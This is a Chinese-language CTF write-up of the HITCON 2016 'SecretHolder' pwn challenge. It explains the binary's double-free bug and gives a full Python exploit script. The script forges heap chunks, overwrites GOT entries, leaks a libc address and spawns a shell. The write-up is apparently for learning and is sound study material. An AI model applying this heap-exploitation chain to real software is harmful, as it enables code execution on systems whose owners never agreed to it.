0x00: 前几天hitcon2016开啦,就想着去看看题,学习下,pwn100的这个SecretHolder
是个double free
的洞,但是当时并不知道怎么去搞,今天刚从Icemakr 师傅那里学到了思路,所以就记录一下。
0x01: 程序分析 程序很容易分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { int choice; char s; __int64 v5; v5 = *MK_FP(__FS__, 40L L); sub_400C80(a1, a2, a3); puts ("Hey! Do you have any secret?" ); puts ("I can help you to hold your secrets, and no one will be able to see it :)" ); while ( 1 ) { puts ("1. Keep secret" ); puts ("2. Wipe secret" ); puts ("3. Renew secret" ); memset (&s, 0 , 4u LL); read (0 , &s, 4u LL); choice = atoi(&s); switch ( choice ) { case 2 : wipe_secret(); break ; case 3 : renew_secret(); break ; case 1 : keep_secret(); break ; } } }
新建块的时候
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 if ( size_of_secret == 2 ) { if ( !flag_big ) { big_buffer = calloc (1u LL, 4000u LL); flag_big = 1 ; puts ("Tell me your secret: " ); read (0 , big_buffer, 4000u LL); } } else if ( size_of_secret == 3 ) { if ( !flag_huge ) { huge_buffer = calloc (1u LL, 400000u LL); flag_huge = 1 ; puts ("Tell me your secret: " ); read (0 , huge_buffer, 400000u LL); } } else if ( size_of_secret == 1 && !flag_small ){ small_buf = calloc (1u LL, 40u LL); flag_small = 1 ; puts ("Tell me your secret: " ); read (0 , small_buf, 40u LL); }
释放块的时候
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 switch ( wipe_choice ) { case 2 : free (big_buffer); flag_big = 0 ; break ; case 3 : free (huge_buffer); flag_huge = 0 ; break ; case 1 : free (small_buf); flag_small = 0 ; break ; }
在.bss段上有标志位,标志着当前这种块有没有被使用。
问题是,每种块只能建一次,而且 huge buffer
是mmap
出来的,我以为就没啥用了…今天看了师傅的博客才知道
实际上,先创建huge note,再free huge note之后,再次创建huge note时,malloc就会用sbrk来分配内存了,之后就是常规的double free了。
思路get,就可以接着搞了。
0x02: 分配huge,释放huge,然后分配small,big,然后释放small,big,再分配huge时,分配的huge内存分配就如图所示了。 可以根据这个伪造堆块,然后去free(big_chunk)
,之后就可以得到.bss
上一个地址啦,接着就可以去做leak,修改got的事情了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from zio import * from time import sleep target = ('127.0.0.1' ,10001 ) io = zio(target, timeout=10000 , print_read=COLORED(RAW, 'red' ), print_write=COLORED(RAW, 'green' )) big_note_addr = 0x6020a0 huge_note_addr = 0x6020a8 small_note_addr = 0x6020b0 got_atoi_addr = 0x602070 got_free_addr = 0x602018 plt_puts_addr = 0x4006c0 offset_system_atoi = 0xe510 def Keep_secret (size,content) : io.read_until('3. Renew secret' ) io.writeline('1' ) io.read_until('3. Huge secret' ) io.writeline(str(size)) io.read_until('Tell me your secret:' ) io.writeline(str(content)) def Wipe_secret (size) : io.read_until('3. Renew secret' ) io.writeline('2' ) io.read_until('3. Huge secret' ) io.writeline(str(size)) def Renew_secret (size,new_content) : io.read_until('3. Renew secret' ) io.writeline('3' ) io.read_until('3. Huge secret' ) io.writeline(str(size)) io.read_until('Tell me your secret:' ) io.writeline(str(new_content)) Keep_secret(3 ,"C" *0x100 ) Wipe_secret(3 ) Keep_secret(1 ,"A" *0x20 ) Keep_secret(2 ,"B" *0x80 ) Wipe_secret(1 ) Wipe_secret(2 ) payload = l64(0x0 ) + l64(0x30 ) + l64(huge_note_addr - 0x8 * 3 ) + l64(huge_note_addr - 0x8 * 2 ) payload += l64(0x20 ) + l64(0xa0 ) payload += 'A' * 0x90 payload += l64(0x0 ) + l64(0xa1 ) payload += 'A' * 0x90 payload += l64(0x0 ) + l64(0xa1 ) Keep_secret(3 ,payload) Wipe_secret(2 ) payload_leak = "A" *0x10 payload_leak += l64(got_atoi_addr) + l64(got_free_addr) + l64(got_atoi_addr) payload_leak += l32(0x1 )*3 Renew_secret(3 ,payload_leak) payload_overwrite = l64(plt_puts_addr) + l64(plt_puts_addr+0x6 ) Renew_secret(3 ,payload_overwrite) Wipe_secret(2 ) tmp = io.read(8 )[1 :][::-1 ][1 :][::-1 ] leak_atoi_addr = l64(tmp.ljust(8 ,'\x00' )) print "system addr : 0x%x" % leak_atoi_addr system_addr = leak_atoi_addr + offset_system_atoi print "system addr : 0x%x" % system_addr raw_input('0x0000000000400B1E' ) Renew_secret(1 ,l64(system_addr)) io.write('/bin/sh\0' ) io.interact()
不知道为啥io.gdb_hint()
没断下来,所以我打断点都是用raw_input()
然后attach进去搞的,所以exp看起来贼乱…
0x03:参考